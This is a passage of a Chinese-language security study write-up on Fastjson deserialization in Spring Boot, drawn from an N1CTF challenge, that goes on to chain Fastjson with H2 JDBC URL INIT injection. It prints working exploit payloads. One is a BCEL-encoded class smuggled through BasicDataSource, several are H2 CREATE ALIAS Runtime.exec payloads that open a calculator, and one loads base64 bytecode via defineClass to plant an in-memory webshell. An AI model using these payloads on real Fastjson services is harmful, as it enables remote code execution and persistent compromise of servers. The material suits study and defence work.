WebMvcConfigurer.super.extendMessageConverters(converters);
}
}
以下使用N1CTF中的例子进行简单的学习
package com.example.fastjsonstudy;
public class User {
private String username;
private String password;
private Object friend;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public Object getFriend() {
return friend;
}
public void setFriend(Object friend) {
this.friend = friend;
}
}
简单的写一个路由,
@Controller
public class HelloController {
@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public String doLogin(@RequestBody User user){
System.out.println(user);
return user.toString();
}
}
POST方式向后端传入的json字符串会直接被FastJsonHttpMessageConverter处理转换为user实例对象,同时SpringBoot中的fastJsonHttpMessageConverter与普通的JSON.parse也存在一定的不同,对Springboot进行debug可以发现,它会将User类作为期望类然后进行反序列化
在DefaultJSONParser#parse(Type type, Object fieldName)
中会根据Type选择出反序列化器然后deserialze
@SuppressWarnings("unchecked")
public <T> T parseObject(Type type, Object fieldName) {
int token = lexer.token();
if (token == JSONToken.NULL) {
lexer.nextToken();
return null;
}
if (token == JSONToken.LITERAL_STRING) {
if (type == byte[].class) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken();
return (T) bytes;
}
if (type == char[].class) {
String strVal = lexer.stringVal();
lexer.nextToken();
return (T) strVal.toCharArray();
}
}
ObjectDeserializer derializer = config.getDeserializer(type);
try {
return (T) derializer.deserialze(this, type, fieldName);
} catch (JSONException e) {
throw e;
} catch (Throwable e) {
throw new JSONException(e.getMessage(), e);
}
}
一般json传输的类都是程序员自己写的接口类,所以会进入JavaBeanDeserializer#deserialze进行反序列化。进一步会根据Field类型选择对应的反序列化器,String类型的反序列化器为StringCodec,Object类型的反序列化器为JavaBeanDeserializer。JavaBeanDeserializer#deserialze可以反序列化list,所以需要将恶意的payload放在friend部分
{
"friend": [{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": ".."
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
}
}: "x"
}
}
],
"username": "asd",
"password": "asd"
}
最后也是可以成功弹出计算器的
fastjson和JDBC Attack
看到yulegeyu师傅的文章中有关于h2数据库的攻击,借机来学一学h2 RCE。文章中提到的环境大致是fastjson<=1.2.47并且存在h2的依赖,在出网/不出网该如何进行RCE?
fastjson可以调用"getter"方法这是毋庸置疑的。而JDBC是Java提供的一个标准接口,用于连接数据库进而对数据库操作,各种数据库引擎会实现这个接口编写自己的JDBC implement,该实现通常被称为JDBC Driver。
常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL,如:
// JDBC连接的URL, 不同数据库有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
// 获取连接:
Connection conn = java.sql.DriverManager.getConnection(JDBC_URL, JDBC_USER,JDBC_PASSWORD);
// TODO: 访问数据库...
// 关闭连接:
conn.close();
JDBC一般会出现在后台修改数据库配置、测试数据库连接等,用户可以控制JDBC中的URL,URL中的每个参数都有这特殊的用途。故当URL可控时就有安全问题。
- MySQL
- H2 Database
- Postgresql
- ....
h2 RCE
回到主题,因为fastjson可以对"getter"方法进行调用,我们想是否可以在fastjson自身的RCE无法使用时,利用fastjson和h2的getConnection来触发JDBC Attack从而RCE
org.h2.jdbcx.JdbcDataSource#getConnection
public Connection getConnection() throws SQLException {
this.debugCodeCall(“getConnection”);
return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //调用getJdbcConnection
}
org.h2.jdbcx.JdbcDataSource#getJdbcConnection
private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException {
if (this.isDebugEnabled()) {
this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);");
}
Properties var3 = new Properties();
var3.setProperty("user", var1);
var3.put("password", var2);
Connection var4 = Driver.load().connect(this.url, var3);
if (var4 == null) {
throw new SQLException("No suitable driver found for " + this.url, "08001", 8001);
} else if (!(var4 instanceof JdbcConnection)) {
throw new SQLException("Connecting with old version is not supported: " + this.url, "08001", 8001);
} else {
return (JdbcConnection)var4;
}
}
关于h2 RCE的姿势p神记录的很详细从JDBC到h2任意命令执行,我这里仅记录yulegele师傅文章中提到的INIT执行多条命令
h2中支持的命令 中可以找到关键的几个
- CREATE ALIAS:创建用户自定义的函数或者为函数起别名
- CREATE TRIGGER:创建触发器
- CALL express:计算express表达式,可以是简单的运算,也可以是函数的调用
- RUNSCRIPT FROM 'xxx.sql':运行包含SQL语句的脚本,也支持URL来锁定sql文件
我们可以使用CREATE ALIAS
来创建一个shell函数,然后使用CALL express
来调用它:(因为h2使用纯Java来写的所以可以使用Java来命令执行
CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';
SELECT EXEC('cmd /c calc.exe');
h2中的URL参数 中可以找到用于在连接时执行SQL语句的INIT参数,并且在官网的实例来看其也可以连续执行多条SQL语句
jdbc:h2:<url>;INIT=RUNSCRIPT FROM '~/create.sql'
jdbc:h2:file:~/sample;INIT=RUNSCRIPT FROM '~/create.sql'\;RUNSCRIPT FROM '~/populate.sql'
这里需要注意h2的url中;
是作为参数连接符存在的,所以sql语句中出现的;
需要转义
public class Main {
public static void main(String[] args) throws SQLException {
JdbcDataSource jdbcDataSource = new JdbcDataSource();
String payload = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc')\\;";
jdbcDataSource.setUrl(payload);
jdbcDataSource.getConnection();
}
}
最后文章中使用$ref或者JSONObject调用特殊的"getter"方法
[
{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"
},
{
"$ref":"$[1].connection"
}
]
如果需要加载内存马可以使用defineClass
[
{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
},
{
"$ref":"$[1].connection"
}
]